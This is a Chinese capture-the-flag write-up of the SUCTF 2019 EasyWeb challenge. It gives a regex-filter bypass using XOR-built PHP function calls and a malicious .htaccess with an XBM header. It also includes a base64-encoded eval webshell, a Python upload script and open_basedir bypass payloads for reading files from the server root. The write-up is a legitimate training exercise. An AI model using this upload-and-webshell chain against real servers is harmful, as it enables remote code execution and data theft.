[SUCTF 2019]EasyWeb

2023-11-20

[SUCTF 2019]EasyWeb

打开环境在这里插入图片描述是一段代码,其中if ( preg_match(’/[\x00- 0-9A-Za-z’"`~_&.,|=[\x7F]+/i’, $hhh) )这个判断是难点,它的绕过可以参考这篇文章https://www.h3399.cn/201909/723646.html

然后配合${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo,可以执行一些函数,还有就是文件上传绕过,参考链接https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/
.htaccess上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效。这时有两个办法:

#define width 1337
#define height 1337

这里的php是7.2的版本,无法使用

来绕过对<?的检测
ps:
可以通过编码进行绕过,如原来使用utf8编码,如果shell中是用utf16编码则可以Bypass
我们这里的解决方法是将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码

#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.a"

shell.ahhh:

GIF89a12PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==

这里GIF89a后面那个12是为了补足8个字节,满足base64编码的规则,使用其他的文件头也是可以的贴一个上传的脚本

```php
import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://3a861592-1ffb-49d1-9989-280c54e73e23.node4.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

得到路径,访问在这里插入图片描述这里可以用蚁剑链接在这里插入图片描述发现不能直接访问根目录,用插件在这里插入图片描述该插件可在蚁剑的插件市场中下载,得到flag
在这里插入图片描述看了其他师傅的wp,还有另一种解(应该是主流解)
绕过open_basedir/disable_function

open_basedir是php.ini中的一个配置选项
它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,
那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 "/dir/user1"都是可以访问的。
所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
构造payload:cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));在这里插入图片描述payload:cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print(readfile('/THis_Is_tHe_F14g'));
在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

[SUCTF 2019]EasyWeb 的相关文章

  • Non-Authoritative-Reason 标头字段 [HTTP]

    当我有响应标头时 我很难找出它的含义Non Authoritative Reason HSTS 我搜索了很多 但只是想出了一些关于 HSTS 从 HTTP 重定向到 HTTPS 的解释 有人能帮我吗 顺便说一句 我正在使用 Chrome T
  • 从开放的 HTTP 流中读取数据

    我正在尝试使用 NET WebRequest WebResponse 类来访问 Twitter 流 API 此处 http stream twitter com spritzer json 我需要能够打开连接并从打开的连接中增量读取数据 目
  • PHP文件上传错误tmp_name为空

    我的文件上传遇到这个问题 我尝试在检查验证时上传 PDF 文件TMP NAME是空的 当我检查时 FILES document attach error 该值为 1 意味着存在错误 但当我尝试上传其他 PDF 文件时 它已成功上传 为什么其
  • Laravel 如何使用查询生成器返回单列值

    我想使用 SQL 查询中的数据 为了进一步解释它 这里是我的代码 myquery DB table attendances gt select user id gt where date only newdate gt orderBy lo
  • 如何在 PHP 中检查特定类型的对象

    我有一种方法 它接受 PDO 对象作为参数 允许用户使用现有连接 而不是打开新连接的方法 并节省资源 public static function databaseConnect pdo null 我知道is object 检查参数是否是一
  • 使用csv文件-PHP创建表到mysql时添加反引号

    我有一个 php 代码 它将使用 csv 文件创建一个到 mysql 数据库的表 然而 某些列标题没有被 mysql 读取 mysql 唯一一次读取查询是当我添加反引号 您能帮助我在查询中的何处添加反引号吗 这是我的代码 file C Us
  • Tomcat 8 上的 PHP

    我找到了很多如何让 PHP 在 Tomcat 上运行的指南 但都是以前的版本 我尝试了所有这些 但我所能显示的只是一个空白页面 并且代码仍然没有被触发 我知道 Tomcat 是为 Java 应用程序而不是 PHP 构建的 但我需要找到一种使
  • 如何正确转义 mysql“搜索/喜欢”查询?

    Summary 我目前正在使用 search field LIKE this gt db gt escape like str search string 逃避动态创建的搜索查询 创建的 SQL 语句结果不会产生任何错误 也不会产生任何结果
  • isSaleable() 和 isAvailable() 有什么区别?

    我正在我的 Magento 主题的 单个 产品页面上显示库存可用性 但有些事情我并不完全理解 我看到模板中使用了两种方法来检查产品是否可供销售 Mage Catalog Model Product isAvailable Mage Cata
  • Yii2迁移问题

    我是第一次使用 yii2 我想尝试 yii 迁移 问题 我创建了迁移文件 php yii migrate create new table 文件已创建 然后我将新表详细信息输入到迁移文件中 当我跑步时php yii migrate我收到错误
  • 内存泄漏?!在“array_map”中使用“create_function”时,垃圾收集器是否正确?

    我在 StackOverflow 上找到了以下解决方案 从对象数组中获取特定对象属性的数组 PHP 从对象数组中提取属性 https stackoverflow com questions 1118994 php extracting a
  • zend框架中的一个模块中的多个控制器

    你好 我是 zend Framework2 2 0 的新手 我想创建一个带有多个控制器的模块我已经从 github 下载了 Album 模块并且它工作正常 现在我想在其中添加更多控制器 下面我显示了模块中文件的文件夹结构 module Al
  • Google 站点地图日期格式

    我需要 php 中站点地图的日期格式 我怎样才能做到这一点 这个输出对吗
  • PHP 中的 Javascript“unes​​cape”

    我的图像主机有一个 Google Chrome 扩展程序 它会向我的网站发送一个 URL 该网址得到encoded通过 JavaScript 的escape method 编码的 URLescape看起来像这样 http 253A 4 bp
  • 从 BitBucket 请求 OAuth 令牌

    在过去的 4 个小时里 我一直在尝试将 BitBucket 集成到我的应用程序中 但没有成功 在阅读的过程中BitBucket 的 RESTful API 文档 https confluence atlassian com display
  • CakePHP 后退和前进按钮没有布局

    我们正在 CakePHP 中构建一个大型 CMS 并集成了 Croogo 安装 我们最近遇到了一个问题 当用户单击back在浏览器中 或forward按钮 您最终得到的是使用以下命令的视图 ctp 文件blank布局 所以没有样式 js 等
  • SQLSTATE[HY000] [2002] 连接尝试失败,因为连接方在一段时间后没有正确响应,

    我尝试连接 2 个数据库Laravel 5 6项目 但我遇到这样的错误 SQLSTATE HY000 2002 连接尝试失败 因为连接方在一段时间后没有正确响应 或者由于连接的主机未能响应而建立的连接失败 SQL 从中选择 mt merch
  • 在PHP中引用容器对象的方法?

    PHP 中给出以下内容
  • regex php - 查找 div 中具有特定 ID 的内容

    我确信这是一个简单的问题 尽管我在谷歌上进行了如此多的搜索和搜索 但我似乎无法弄清楚这有什么问题 我在此页面上的其他区域使用类似的表达式来准确返回我想要的内容 但是 我无法让这个特定的位返回我想要的东西 所以也许有人可以帮助我 我有一个带有
  • 限制 WooCommerce 上的域名注册

    如何限制用户电子邮件对 WooCommerce 注册中特定域的访问 我发现这段代码可以做到这一点 但由于某种原因它在 WooCommerce 注册表单上不起作用 如果我进入 WP 登录页面 它就会起作用 任何帮助表示赞赏 function

随机推荐

  • Jsp基于Web的可维护的数据库浏览器(源代码+论文+答辩PPT)

    1绪论 1 1Web应用系统 近十年来 基于Internet的应用正以前所未有的高速度发展 其中一个重要的方向就是基于Web的应用系统的发展 在此期间 随着技术的不断更新和应用的不断深入 Web应用系统的发展也经历了几个阶段性的跨越 图1
  • 什么是html网址,html是什么

    html语言是网络上的通用语言 也是比较简单的语言 对于想要在前端行业发展的人来说 html是必须要学的语言 那么 今天我们要来讲一下html是什么语言 html什么意思 以及html语言特点 什么是html HTML的英文全称是Hyper
  • 【C++】读取txt文件并查询指定字段

    目录 一 函数功能说明 二 代码 方法1 使用 lt lt 运算符 方法2 使用string getline 如果这篇文章对你有所帮助 渴望获得你的一个点赞 一 函数功能说明 函数名 说明 1 CompareFileFileds 按字符读取
  • 提高测试覆盖率的四大步骤

    什么是测试覆盖率 测试覆盖率衡量您测试了多少应用程序 这不仅与您执行的测试数量有关 它还与您查看的真实设备 浏览器和操作系统版本有关 您测试的设备和操作系统组合越多 测试覆盖的代码越多 测试覆盖率就越高 请注意 实现 100 的测试覆盖率是
  • enum与typedef enum的用法

    前些天发现了一个巨牛的人工智能学习网站 通俗易懂 风趣幽默 忍不住分享一下给大家 点击跳转到网站 https www captainai net db 一 两者的用法 枚举类型定义用关键字enum标识 形式为 enum 标识符 枚举数据表
  • Centos 7安装图形化系统

    Centos 7 图形化安装 点击创建新的虚拟机 进入虚拟机设置向导界面 自定义 高级 点击下一步 进入虚拟机硬件兼容性 默认下一步即可 点击下一步 进入安装客户端操作系统 选择稍后安装操作系统 点击下一步 进入选择客户机操作系统 选择Li
  • python3 内置方法 字符串转换为字典

    内置方法 eval 将字符串转换为字典代码 str backend www oldboy org record server 122 111 2 23 weight 20 maxconn 30 str to dict eval str pr
  • 【MongoDB for Java 1】

    获得数据库服务 Mongo m new Mongo localhost 27017 得到数据库mytest DB db m getDB dbtest 得到mytest数据库下所有表名 Set
  • 【自用】无法通过ESP32创建HomeAssistant实体问题解决(MQTT对ESP32创建实体请求无应答)

    一 问题描述 1 使用 MQTTX 测试客户端能够创建实体 当通过 MQTTX 发送注册实体请求的时候 实体能够在 MQTT 服务器中注册成功 2 使用 ESP32 无法创建实体 在ESP32中通过 publish 函数发送注册请求的时候
  • 数据库不推荐使用外键的9个理由!

    我的经验告诉我 很多数据库 大多数我曾经使用的 不包含外键时并不总是一件坏事 在这篇文章中 我想把重点放在为什么的原因上 为什么这是一个问题 1 潜在的数据完整性问题 缺少外键明显问题是数据库不能强制进行引用完整性检查 如果在高一层没有正确
  • 用指针访问一维数组

    文章目录 顺序查找 数组方式实现 指针实现方式 对一位数组元素的访问有三种方式 指针变量的关系运算 引例 数组实现方式 主函数 指针实现方式 主函数 一维数组作为函数的参数 实际应用 顺序查找 要求用指针实现 在整数集合r中顺序查找与给定值
  • linux下安装redis数据库

    上一篇文章写到安装虚拟机 接下来就可以使用我们的虚拟机了 redis的安装 首先我们下载好需要的安装包 可以进入官网 https redis io download 不挑版本的直接用我分享的redis 6 2 6 tar gz 链接 htt
  • .vimrc配置

    set 前加冒号 与不加 一样 set nu 状态栏 let mapleader
  • Xmind8 Pro安装教程(Win+Mac)

    原文http blog csdn net anzhongliu article details 78081267 转自 https blog csdn net u014172271 article details 79666848 xmin
  • 网络安全工程师教你:Shadon网络空间搜索引擎使用教程

    一 背景介绍 与谷歌不同的是 Shodan不是在网上搜索网址 而是直接进入互联网的背后通道 Shodan可以说是一款 黑暗 谷歌 一刻不停的在寻找着所有和互联网关联的服务器 摄像头 打印机 路由器等等 每个月Shodan都会在大约5亿个服务
  • Linux--shell之while循环+for循环+until循环

    Linux shell之while循环 for循环 until循环 概述 for循环 while循环 until循环 循环嵌套 概述 脚本执行任务的时候总会遇到需要重复执行的时候 为了节省资源 除了计划任务 我们还可以使用脚本来完成 接下来
  • 数据分析库的拓展学习

    01 前言 除了前文所说的python数据分析的 三大神器 之外 你还需要对数据进行进一步的建模 预测 评估 并进行数据可视化 想要一劳永逸 就需要坚持学习一些更好用的数据分析库 接下来就逐一介绍 02 衍生库的使用 Seaborn Sea
  • 前端框架之Vue学习(二)

    一 事件修饰符 enter 回车生效 常用于替代判断是否按下回车事件 once 单次生效 只会生效一次 stop 阻止事件冒泡 self 阻止事件冒泡 只有点击自身时才生效 capture 将后面的事件变为捕获事件 prevent 阻止默认
  • Camunda工作流网关(二)-Parallel Gateway(并行网关)

    目录 1 Parallel Gateway 并行网关 2 业务场景 3 BPMN流程模型文件 在Camunda的 Modeler工具中提供了5种类型的网关 Exclusive Gateway 独占网关或排他网关 Parallel Gatew
  • [SUCTF 2019]EasyWeb

    SUCTF 2019 EasyWeb 打开环境是一段代码 其中if preg match x00 0 9A Za z x7F i hhh 这个判断是难点 它的绕过可以参考这篇文章https www h3399 cn 201909 72364